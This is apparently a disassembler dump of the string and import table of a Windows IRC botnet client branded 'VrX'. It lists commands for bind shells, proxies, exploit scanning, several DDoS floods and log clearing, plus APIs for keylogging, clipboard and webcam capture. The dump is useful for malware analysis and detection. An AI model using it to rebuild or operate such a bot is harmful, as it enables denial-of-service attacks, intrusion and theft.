unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o
dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401ACD+1902o
dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o
dword_42C568 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+18DAo
dword_42C574 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+18D5o
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+18BCo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+18A7o
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+1892o
aDll db 'dll',0 ; DATA XREF: sub_401ACD+187Do
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+1868o
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401ACD+1853o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+183Eo
align 4
aUp db 'up',0 ; DATA XREF: sub_401ACD+1829o
align 10h
aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+1814o
align 4
aPs db 'ps',0 ; DATA XREF: sub_401ACD+17FFo
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401ACD+17EAo
align 4
aKosomaky4d db 'KOSOMAKY4D',0 ; DATA XREF: sub_401ACD+17C0o
; sub_401ACD+17D5o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401ACD+17ABo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+1796o
aNi db 'ni',0 ; DATA XREF: sub_401ACD+1781o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+176Co
aClg db 'clg',0 ; DATA XREF: sub_401ACD+1757o
aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1742o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401ACD+172Do
align 4
aLog db 'log',0 ; DATA XREF: sub_401ACD+1718o
aAl db 'al',0 ; DATA XREF: sub_401ACD+1703o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+16EEo
aT: ; DATA XREF: sub_401ACD+16D9o
; ___:00438AFCo
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16C4o
unk_42C628 db 3 ; DATA XREF: sub_401ACD+1690o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C64C db 3 ; DATA XREF: sub_401ACD+1689o
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401ACD+1672o
aI: ; DATA XREF: sub_401ACD+165Do
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401ACD+1648o
align 4
aS_0: ; DATA XREF: sub_401ACD+1633o
; ___:00438B4Co
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401ACD+161Eo
align 4
aQ: ; DATA XREF: sub_401ACD+1609o
; ___:off_438768o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+15F4o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401ACD+15DFo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15CAo
align 10h
aR: ; DATA XREF: sub_401ACD+15B5o
; sub_401ACD+3D8Eo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15A0o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401ACD+158Bo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+1576o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1561o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+154Co
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1537o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1522o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401ACD+150Do
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+14F8o
align 4
dword_42C70C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401ACD+14EDo
aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+14E8o
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14CFo
align 4
dword_42C72C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14C4o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14BFo
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14A6o
align 10h
dword_42C750 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+149Bo
aClone db 'Clone',0 ; DATA XREF: sub_401ACD+1496o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+147Do
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1468o
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1453o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+143Eo
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1429o
align 10h
dword_42C7A0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+141Eo
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+1400o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+13D7o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13AEo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+1385o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+135Co
unk_42C7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+1342o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C81C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1307o
; sub_401ACD+13A3o
dword_42C82C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1302o
; sub_401ACD+139Eo
dword_42C83C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+12E9o
; sub_401ACD+137Ao
dword_42C84C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+12E4o
; sub_401ACD+1375o
dword_42C85C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+1289o
; sub_401ACD+13F5o
dword_42C868 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1284o
; sub_401ACD+13F0o
dword_42C874 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+126Bo
; sub_401ACD+13CCo
dword_42C880 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1266o
; sub_401ACD+13C7o
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1206o
align 4
dword_42C898 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+11FBo
; sub_401ACD+12C8o
dword_42C8A4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+11F6o
; sub_401ACD+12C3o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+11DDo
align 4
dword_42C8BC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+11D2o
; sub_401ACD+12AAo
dword_42C8CC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11CDo
; sub_401ACD+12A5o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11B4o
align 4
dword_42C8E8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11A9o
; sub_401ACD+1328o
dword_42C8F8 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11A4o
; sub_401ACD+1323o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+118Bo
align 4
dword_42C914 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+1180o
; sub_401ACD+124Ao
dword_42C920 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+117Bo
; sub_401ACD+1245o
aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1162o
dword_42C934 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1157o
; sub_401ACD+122Co
dword_42C940 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1152o
; sub_401ACD+1227o
dword_42C94C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1139o
dword_42C958 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+112Eo
dword_42C968 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1129o
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+1110o
align 4
dword_42C988 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1105o
dword_42C994 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+1100o
aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+10E7o
dword_42C9A8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+10DCo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10BEo
align 4
dword_42C9C4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10B3o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+1095o
align 10h
dword_42C9E0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+108Ao
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+106Co
align 4
aS4 db 's4',0 ; DATA XREF: sub_401ACD+1057o
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1042o
align 4
dword_42CA08 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401ACD+1037o
aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+1032o
; sub_401ACD+1085o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1019o
align 4
aBd db 'bd',0 ; DATA XREF: sub_401ACD+1004o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+FEFo
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FDAo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FC5o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401ACD+FB0o
; sub_401ACD+2D26o
aSecure db 'secure',0 ; DATA XREF: sub_401ACD+F9Bo
; sub_401ACD+2D15o
align 4
aSt db 'st',0 ; DATA XREF: sub_401ACD+F86o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F71o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401ACD+F5Co
align 4
aRulez db 'rulez',0 ; DATA XREF: sub_401ACD+F47o
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401ACD+F32o
aVersion db 'version',0 ; DATA XREF: sub_401ACD+F1Do
aLo db 'lo',0 ; DATA XREF: sub_401ACD+F08o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401ACD+EF3o
align 4
aDi3 db 'di3',0 ; DATA XREF: sub_401ACD+EC9o
; sub_401ACD+EDEo
aRn db 'rn',0 ; DATA XREF: sub_401ACD+EB4o
align 10h
aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+E9Co
a63 db '63',0 ; DATA XREF: sub_401ACD+D69o
align 4
asc_42CAAC: ; DATA XREF: sub_401ACD+D41o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D04o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+CF9o
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+CE8o
align 4
aChan db '$chan',0 ; DATA XREF: sub_401ACD+CCCo
align 4
aUser_1 db '$user',0 ; DATA XREF: sub_401ACD+CBBo
align 4
aMe db '$me',0 ; DATA XREF: sub_401ACD+CA9o
aD db '$%d',0 ; DATA XREF: sub_401ACD+C3Bo
aD_0 db '$%d-',0 ; DATA XREF: sub_401ACD+B77o
align 4
aK: ; DATA XREF: sub_401ACD+A9Fo
; sub_401ACD+3DBCo
unicode 0, <k>,0
aC: ; DATA XREF: sub_401ACD+A87o
; sub_401ACD+4AA4o
unicode 0, <c>,0
unk_42CAF4 db 2Dh ; - ; DATA XREF: sub_401ACD+A64o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB28 db 2Dh ; - ; DATA XREF: sub_401ACD+A53o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB58 db 2Dh ; - ; DATA XREF: sub_401ACD+A42o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42CB90 db 2Dh ; - ; DATA XREF: sub_401ACD+9D3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+93Co
align 4
unk_42CBB8 db 2Dh ; - ; DATA XREF: sub_401ACD+91Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CBFC db 2Dh ; - ; DATA XREF: sub_401ACD+904o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC38 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401ACD+8F3o
dd 0A0Dh
dword_42CC50 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8BFo
dword_42CC58 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401ACD+8B4o
dd 0D017325h, 0Ah
dword_42CC74 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+883o
dword_42CC80 dd 23h ; DATA XREF: sub_401ACD+7FAo
; sub_40CD43+1Bo
unk_42CC84 db 2Dh ; - ; DATA XREF: sub_401ACD+769o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aS_1 db '%s',0 ; DATA XREF: sub_401ACD+6EAo
; sub_401ACD+979o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6C3o
align 10h
dword_42CCC0 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6A5o
dword_42CCC8 dd 323333h ; DATA XREF: sub_401ACD+62Fo
; sub_401ACD+AC1o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+60Do
; sub_409869+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+601o
; sub_409869+16o
unk_42CCDC db 3 ; DATA XREF: sub_401ACD+5B0o
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CCFC db 3 ; DATA XREF: sub_401ACD+590o
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401ACD+55Fo
aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+522o
align 4
aPart db 'PART',0 ; DATA XREF: sub_401ACD+511o
; sub_401ACD+5CDo
align 10h
aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4ECo
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3CEo
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
; sub_401ACD+5F1o
unk_42CD50 db 3 ; DATA XREF: sub_401ACD+355o
; sub_401ACD+2E79o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 10h
aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do
; sub_401ACD+7A88o ...
align 4
a433 db '433',0 ; DATA XREF: sub_401ACD+262o
; sub_417B76:loc_417BDEo
a@: ; DATA XREF: sub_401ACD+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao
a005 db '005',0 ; DATA XREF: sub_401ACD+215o
a001 db '001',0 ; DATA XREF: sub_401ACD+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
; sub_401ACD+3BBo ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o
align 4
aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o
; sub_417B76+50o
align 4
asc_42CDBC: ; DATA XREF: sub_401ACD+19Ao
; sub_401ACD+7B9Do
unicode 0, <!>,0
asc_42CDC0: ; DATA XREF: sub_401ACD+A8o
; sub_401ACD+E41o ...
unicode 0, < >,0
asc_42CDC4 db ' :',0 ; DATA XREF: sub_401ACD+86o
; sub_401ACD:loc_4025E6o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
align 10h
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409909:loc_40A573o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409909+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409909+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409909+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409909+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409909+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409909:loc_40A4D5o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409909+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409909+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409909+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409909:loc_40A3CDo
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
align 10h
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409909:loc_40A383o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409909+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
; sub_418AF1+65o
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409909+9DFo
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409909+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409909+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409909+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409909+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
align 10h
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409909+984o
align 10h
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409909+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409909+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409909:loc_40A267o
; sub_418AF1+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409909+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409909+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409909+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409909:loc_40A208o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
align 10h
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
align 10h
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409909+82Co
align 10h
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_409909+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_409909+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409909+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409909+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_409909+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_409909+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409909+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_409909+64Bo
align 4
aListen db 'listen',0 ; DATA XREF: sub_409909+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_409909+631o
align 4
aBind db 'bind',0 ; DATA XREF: sub_409909+629o
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409909+617o
align 4
aRecv db 'recv',0 ; DATA XREF: sub_409909+60Ao
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_409909+5FDo
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_409909+5E3o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_409909+5D6o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_409909+5C9o
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_409909+5BCo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409909+5AFo
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409909+5A2o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_409909+595o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409909+588o
aSocket db 'socket',0 ; DATA XREF: sub_409909+57Bo
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409909+56Eo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409909+561o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409909+554o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409909+547o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409909+53Ao
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409909+52Do
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409909+525o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409909+514o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409909+4A1o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409909+494o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_409909+487o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409909+47Ao
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409909+460o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409909+43Eo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409909:loc_409D36o
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409909:loc_409D0Eo
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409909+386o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_409909+379o
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409909+36Co
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409909+35Fo
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409909:loc_409C60o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409909+2C6o
align 4
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409909+2B9o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409909+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409909+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409909+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409909+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409909:loc_409B68o
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409909+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409909+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409909+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409909+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409909+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409909+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_409909+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409909+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409909+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409909:loc_409A3Eo
; sub_425029+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
